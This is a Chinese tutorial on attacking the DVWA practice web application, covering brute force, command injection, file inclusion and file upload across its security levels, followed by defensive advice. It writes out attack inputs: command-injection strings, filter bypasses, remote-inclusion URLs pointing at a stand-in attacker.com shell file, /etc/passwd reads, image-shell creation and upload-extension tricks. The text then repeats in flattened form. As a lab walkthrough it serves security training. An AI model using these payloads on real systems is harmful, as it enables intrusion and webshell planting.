DVWA渗透测试之旅与代码分析
字数 1952 2025-08-18 11:39:04

DVWA渗透测试与代码分析教学文档

1. DVWA概述

DVWA (Damn Vulnerable Web Application) 是一个用于安全测试的脆弱Web应用程序,包含多种常见漏洞类型:

  • 暴力破解
  • SQL注入
  • XSS跨站脚本攻击
  • 文件上传
  • 文件包含
  • CSRF
  • 命令注入
  • 不安全的验证码

DVWA为每个漏洞模块提供四种安全级别:低(Low)、中(Medium)、高(High)、不可能(Impossible)。

2. 暴力破解漏洞

2.1 Low级别

代码分析

// 未做任何过滤或防爆破措施
// 直接接收username和password进行数据库查询

渗透测试步骤

  1. 使用Burp Suite抓取登录请求包
  2. 发现用户名和密码明文传输,无token保护
  3. 在Burp Intruder模块设置两个变量(用户名和密码)
  4. 选择"Cluster bomb"攻击模式
  5. 设置payload1为用户名字典,payload2为密码字典
  6. 根据响应长度筛选成功组合

2.2 Medium级别

代码分析

// 使用mysqli_real_escape_string转义特殊字符
// 添加了sleep(2)延迟,但未限制爆破次数

特点

  • 爆破速度明显变慢(每次错误有2秒延迟)
  • 仍可爆破,方法与Low级别相同

2.3 High级别

代码分析

// 增加了user_token验证机制
// 需要同时爆破密码和token

渗透测试步骤

  1. 抓包发现四个参数:username、password、Login、user_token
  2. 使用"Pitchfork"攻击模式
  3. 设置线程数为1(高并发会报错)
  4. 需要同时处理token的更新机制

2.4 Impossible级别

防护措施

  • 失败三次后锁定15分钟
  • 使用PDO(PHP数据对象)提高安全性
  • 代码中严格限制多次登录尝试

3. 命令注入漏洞

3.1 Low级别

危险函数

shell_exec() // 通过shell环境执行命令并返回完整输出

漏洞利用

  • 直接拼接系统命令,如:127.0.0.1 && net user

3.2 Medium级别

过滤机制

$substitutions = array('&&' => ' ', ';' => ' ');
$target = str_replace(array_keys($substitutions), $substitutions, $target);

绕过方法

  • 使用&;&代替&&127.0.0.1 &;& net user

3.3 High级别

严格过滤

// 过滤了更多字符:|、;、&、-、'、||、&&、>、<

绕过方法

  • 利用管道符|后加空格的方式:127.0.0.1 | net user

3.4 Impossible级别

防护措施

  • 验证user_token防止CSRF
  • 使用stripslashes()删除反斜杠
  • 使用explode()以"."分隔IP地址
  • 严格限制输入格式

4. 文件包含漏洞

4.1 Low级别

危险函数

include()或require()

漏洞利用

  • 直接包含本地或远程文件:?page=../../config.php
  • 远程包含:?page=http://attacker.com/shell.txt

4.2 Medium级别

过滤机制

// 过滤http://、https://、../、..\
$file = str_replace(array("http://", "https://", "../", "..\\"), "", $file);

绕过方法

  • 双写绕过:hthttp://tp://attacker.com/shell.txt

4.3 High级别

白名单策略

// 只允许包含file开头的文件
if(!fnmatch("file*", $file) && $file != "include.php")

绕过方法

  • 使用file协议:file:///etc/passwd

5. 文件上传漏洞

5.1 Low级别

漏洞分析

  • 无任何文件类型、内容、大小限制
  • 直接上传PHP文件即可获取webshell

5.2 Medium级别

限制措施

// 只允许jpg/png类型,大小<100KB
// 仅检查MIME类型

绕过方法

  1. 修改文件名为shell.png
  2. 上传时拦截请求修改为shell.php
  3. 或上传图片马配合文件包含漏洞

5.3 High级别

严格限制

// 强制后缀为.jpg
$img_path = UPLOAD_PATH.'/'.md5($uploaded_name).'.jpg';

绕过方法

  1. 制作图片马:copy 1.jpg/b + 1.php/a 2.jpg
  2. 配合文件包含漏洞执行:?page=path/to/2.jpg

6. 其他绕过技术

  1. 黑名单绕过

    • 使用不常见扩展名:.phtml、.php5
    • 大小写混合:.PhP
  2. Windows特性绕过

    • 利用Windows文件名特性:shell.php.shell.php::$DATA
  3. 二次上传

    • 先上传合法图片,再修改内容
  4. 双文件名上传

    • filename="shell.php shell.jpg"
  5. %00截断

    • 在PHP<5.3.4有效:shell.php%00.jpg

7. 防御建议

  1. 暴力破解防御

    • 实施账户锁定机制
    • 使用强验证码
    • 限制登录尝试频率
  2. 命令注入防御

    • 避免使用shell_exec等危险函数
    • 使用白名单验证输入
    • 严格过滤所有元字符
  3. 文件包含防御

    • 禁用远程文件包含(php.ini中allow_url_include=Off)
    • 使用白名单限制包含文件
    • 避免动态包含用户可控文件
  4. 文件上传防御

    • 检查文件内容而不仅是扩展名
    • 重命名上传文件
    • 存储在非web可访问目录
    • 设置严格的文件类型白名单

8. 总结

DVWA提供了从低到高不同安全级别的漏洞环境,通过代码分析和渗透测试可以深入理解:

  1. 漏洞原理及利用方式
  2. 不同级别的防护措施
  3. 绕过防护的技术手段
  4. 实际防御的最佳实践

安全测试应遵循道德准则,仅对授权目标进行测试。

DVWA渗透测试与代码分析教学文档 1. DVWA概述 DVWA (Damn Vulnerable Web Application) 是一个用于安全测试的脆弱Web应用程序,包含多种常见漏洞类型: 暴力破解 SQL注入 XSS跨站脚本攻击 文件上传 文件包含 CSRF 命令注入 不安全的验证码 DVWA为每个漏洞模块提供四种安全级别:低(Low)、中(Medium)、高(High)、不可能(Impossible)。 2. 暴力破解漏洞 2.1 Low级别 代码分析 : 渗透测试步骤 : 使用Burp Suite抓取登录请求包 发现用户名和密码明文传输,无token保护 在Burp Intruder模块设置两个变量(用户名和密码) 选择"Cluster bomb"攻击模式 设置payload1为用户名字典,payload2为密码字典 根据响应长度筛选成功组合 2.2 Medium级别 代码分析 : 特点 : 爆破速度明显变慢(每次错误有2秒延迟) 仍可爆破,方法与Low级别相同 2.3 High级别 代码分析 : 渗透测试步骤 : 抓包发现四个参数:username、password、Login、user_ token 使用"Pitchfork"攻击模式 设置线程数为1(高并发会报错) 需要同时处理token的更新机制 2.4 Impossible级别 防护措施 : 失败三次后锁定15分钟 使用PDO(PHP数据对象)提高安全性 代码中严格限制多次登录尝试 3. 命令注入漏洞 3.1 Low级别 危险函数 : 漏洞利用 : 直接拼接系统命令,如: 127.0.0.1 && net user 3.2 Medium级别 过滤机制 : 绕过方法 : 使用 &;& 代替 && : 127.0.0.1 &;& net user 3.3 High级别 严格过滤 : 绕过方法 : 利用管道符 | 后加空格的方式: 127.0.0.1 | net user 3.4 Impossible级别 防护措施 : 验证user_ token防止CSRF 使用stripslashes()删除反斜杠 使用explode()以"."分隔IP地址 严格限制输入格式 4. 文件包含漏洞 4.1 Low级别 危险函数 : 漏洞利用 : 直接包含本地或远程文件: ?page=../../config.php 远程包含: ?page=http://attacker.com/shell.txt 4.2 Medium级别 过滤机制 : 绕过方法 : 双写绕过: hthttp://tp://attacker.com/shell.txt 4.3 High级别 白名单策略 : 绕过方法 : 使用file协议: file:///etc/passwd 5. 文件上传漏洞 5.1 Low级别 漏洞分析 : 无任何文件类型、内容、大小限制 直接上传PHP文件即可获取webshell 5.2 Medium级别 限制措施 : 绕过方法 : 修改文件名为shell.png 上传时拦截请求修改为shell.php 或上传图片马配合文件包含漏洞 5.3 High级别 严格限制 : 绕过方法 : 制作图片马: copy 1.jpg/b + 1.php/a 2.jpg 配合文件包含漏洞执行: ?page=path/to/2.jpg 6. 其他绕过技术 黑名单绕过 : 使用不常见扩展名:.phtml、.php5 大小写混合:.PhP Windows特性绕过 : 利用Windows文件名特性: shell.php. 、 shell.php::$DATA 二次上传 : 先上传合法图片,再修改内容 双文件名上传 : filename="shell.php shell.jpg" %00截断 : 在PHP<5.3.4有效: shell.php%00.jpg 7. 防御建议 暴力破解防御 : 实施账户锁定机制 使用强验证码 限制登录尝试频率 命令注入防御 : 避免使用shell_ exec等危险函数 使用白名单验证输入 严格过滤所有元字符 文件包含防御 : 禁用远程文件包含(php.ini中allow_ url_ include=Off) 使用白名单限制包含文件 避免动态包含用户可控文件 文件上传防御 : 检查文件内容而不仅是扩展名 重命名上传文件 存储在非web可访问目录 设置严格的文件类型白名单 8. 总结 DVWA提供了从低到高不同安全级别的漏洞环境,通过代码分析和渗透测试可以深入理解: 漏洞原理及利用方式 不同级别的防护措施 绕过防护的技术手段 实际防御的最佳实践 安全测试应遵循道德准则,仅对授权目标进行测试。